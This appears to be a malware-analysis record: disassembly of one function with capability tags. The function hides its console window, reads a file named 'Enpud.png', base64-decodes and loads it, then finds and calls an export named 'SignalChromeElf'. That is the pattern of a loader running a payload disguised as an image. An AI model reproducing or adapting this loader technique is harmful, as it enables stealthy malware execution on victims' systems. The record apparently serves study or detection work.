Function at 0x401710
Capabilities:
Decode data using base64 via winapi
Hide graphical window
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402c26
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x40500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test eax, eax
je 0x401751
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x228]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_wcsrchr]
add esp, 8
test eax, eax
je 0x401781
xor ecx, ecx
mov word [eax + 2], cx
push str.Enpud.png
lea eax, [ebp - 0x228]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov eax, dword fs:[0x2c]
add esp, 0xc
mov ecx, dword [eax]
mov eax, dword [0x405430]
cmp eax, dword [ecx + 4]
jle 0x4017e7
push 0x405430
call fcn.00401da9
add esp, 4
cmp dword [0x405430], 0xffffffff
jne 0x4017e7
push 0x402c50
mov dword [0x405434], 0
call fcn.004020ee
push 0x405430
call fcn.00401d5f
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x248], 0
movq qword [ebp - 0x250], xmm0
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 4], 0
xor esi, esi
movq qword [ebp - 0x244], xmm0
xor ebx, ebx
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x244], esi
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x23c], ebx
push 0x4032cc
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
lea ecx, [ebp - 0x250]
mov edx, eax
push ecx
mov ecx, dword [ebp - 0x254]
call fcn.00401410
mov eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x22c]
mov edi, dword [ebp - 0x250]
add esp, 0x10
sub eax, edi
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x22c], ebx
push ebx
push ebx
push ecx
push ebx
push 1
push eax
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x401984
xor eax, eax
mov dword [ebp - 0x230], ebx
xorps xmm0, xmm0
mov dword [ebp - 0x230], eax
movq qword [ebp - 0x238], xmm0
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x22c]
test ecx, ecx
je 0x4018ff
push ecx
push ecx
lea ecx, [ebp - 0x238]
call fcn.00401b70
mov eax, dword [ebp - 0x238]
push 0
push 0
lea ecx, [ebp - 0x22c]
push ecx
push eax
push 1
push dword [ebp - 0x254]
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [ebp - 0x238]
lea eax, [ebp - 0x244]
mov edx, dword [ebp - 0x234]
push ecx
sub edx, ecx
push eax
call fcn.00401570
mov byte [ebp - 4], 1
add esp, 8
mov ecx, dword [ebp - 0x238]
test ecx, ecx
je 0x401978
mov edx, dword [ebp - 0x230]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40196e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40196e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00402103
add esp, 8
mov esi, dword [ebp - 0x244]
mov ebx, dword [ebp - 0x23c]
push esi
call fcn.004011b0
movaps xmm0, xmmword [str.SignalChromeElf]
movups xmmword [ebp - 0x20], xmm0
test eax, eax
je 0x401a28
mov ecx, dword [0x405434]
mov dword [ebp - 0x254], ecx
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x258], edx
mov edx, dword [eax + 0x24]
add edx, ecx
mov dword [ebp - 0x260], edx
mov edx, dword [eax + 0x1c]
add edx, ecx
mov dword [ebp - 0x264], edx
mov edx, dword [eax + 0x18]
xor eax, eax
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x22c], eax
test edx, edx
je 0x401a28
nop dword [eax + eax]
mov edx, dword [ebp - 0x258]
mov eax, dword [edx + eax*4]
add eax, ecx
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
mov eax, dword [ebp - 0x22c]
je 0x401a86
mov ecx, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x22c], eax
cmp eax, dword [ebp - 0x25c]
jb 0x4019f0
test esi, esi
je 0x401a52
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x401a48
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a80
push ebx
push esi
call fcn.00402103
add esp, 8
test edi, edi
je 0x401afd
mov ecx, dword [ebp - 0x248]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x401af3
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401af3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ecx, dword [ebp - 0x260]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x264]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x254]
je 0x401a28
call eax
test esi, esi
je 0x401acd
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x401ac3
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a80
push ebx
push esi
call fcn.00402103
add esp, 8
test edi, edi
je 0x401afd
mov ecx, dword [ebp - 0x248]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x401af3
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a80
push ecx
push edi
call fcn.00402103
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401c8c
mov esp, ebp
pop ebp
ret